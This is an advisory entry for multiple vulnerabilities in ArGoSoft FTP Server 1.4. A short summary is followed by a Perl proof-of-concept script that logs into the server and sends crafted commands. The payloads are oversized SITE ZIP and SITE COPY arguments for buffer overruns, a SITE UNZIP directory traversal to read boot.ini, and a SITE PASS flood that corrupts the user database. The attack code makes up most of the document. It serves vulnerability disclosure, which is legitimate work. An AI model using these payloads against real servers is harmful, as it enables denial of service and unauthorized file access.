ArGoSoft FTP Server 1.0/1.2/1.4 - Multiple Vulnerabilities

source: https://www.securityfocus.com/bid/9770/info

ArGoSoft has released version 1.4.1.6 of their FTP Server to address multiple unspecified security vulnerabilities. These issues include three buffer overruns when handling overly long FTP SITE ZIP and SITE COPY commands, a file enumeration issue involving the SITE UNZIP command and user database corruption denial of service attacks via the SITE PASS command.

#!/usr/bin/perl
# Multiple Vulnerabilities in ArGoSoft FTP Server version 1.4 (1.4.1.4)
# Created by Beyond Security Ltd. - All rights reserved.

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2119",,
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}


$remote->autoflush(1);

my $ftp = "USER username\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "password", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

#$ftp = join ("", "SITE ZIP ", "A"x512, "\r\n");
#$ftp = join ("", "SITE ZIP storm.zip /f:", "A"x2048, "\r\n");
#$ftp = join ("", "SITE COPY ", "A"x2048, " ", "A"x10, "\r\n");
#$ftp = join ("", "SITE UNZIP ", "../boot.ini\r\n"); # Directory Traversal (we know a certain file exists)
#$ftp = join ("", "SITE PASS ", "storm ", "A"x3500, "\r\n"); # DoS ... against the user database

#Choose one of the above to test the vulnerabilities mentioned

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;